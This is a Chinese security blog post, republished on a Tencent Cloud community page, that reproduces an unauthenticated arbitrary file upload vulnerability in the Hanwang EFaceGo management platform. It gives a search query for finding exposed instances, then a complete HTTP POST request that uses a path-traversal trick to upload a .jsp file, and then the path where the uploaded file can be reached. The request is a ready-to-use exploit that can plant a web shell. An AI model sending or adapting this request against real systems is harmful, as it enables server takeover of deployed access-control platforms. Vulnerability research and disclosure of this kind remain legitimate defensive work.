【漏洞复现】汉王EFaceGo upload.do 任意文件上传漏洞

熔城Sec

发布于 2026-07-22 19:55:15

760

漏洞描述

汉王e脸通综合管理平台是一个集生物识别、大数据、NFC射频、计算机网络、自动控制等技术于一体，通过“人脸卡”及关联信息实现多种功能智能管理，打造从云端到终端一体化应用，广泛应用于智慧园区、社区、工地等领域的综合管理平台。汉王EFaceGo upload.do 接口存在文件上传漏洞，未经身份攻击者可通过该漏洞在服务器端任意执行代码，写入后门，获取服务器权限。

资产收集

鹰图平台
web.title=="汉王智慧园区"

发送请求

POST /manage/intercom/..%3B/..%3B/manage/resourceUpload/upload.do HTTP/1.1
Host:
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFfJZ4PlAZBixjELj
Content-Length: 199
------WebKitFormBoundaryFfJZ4PlAZBixjELj
Content-Disposition: form-data; name="file"; filename="1.jsp"
Content-Type: image/jpeg
test
------WebKitFormBoundaryFfJZ4PlAZBixjELj--

返回包

访问路径

http://xxxx:xx/manage/operation/upload/6126dd1b1e864543be30879e069b7.jsp

批量验证脚本

本文参与腾讯云自媒体同步曝光计划，分享自微信公众号。

原始发表：2025-11-05，如有侵权请联系 cloudcommunity@tencent.com 删除

漏洞

本文分享自熔城Sec 微信公众号，前往查看

如有侵权，请联系 cloudcommunity@tencent.com 删除。

本文参与腾讯云自媒体同步曝光计划，欢迎热爱写作的你一起参与！

登录后参与评论

0 条评论

热度

【漏洞复现】汉王EFaceGo upload.do 任意文件上传漏洞

【漏洞复现】汉王EFaceGo upload.do 任意文件上传漏洞

社区

活动

圈层

关于

腾讯云开发者

热门产品

热门推荐

更多推荐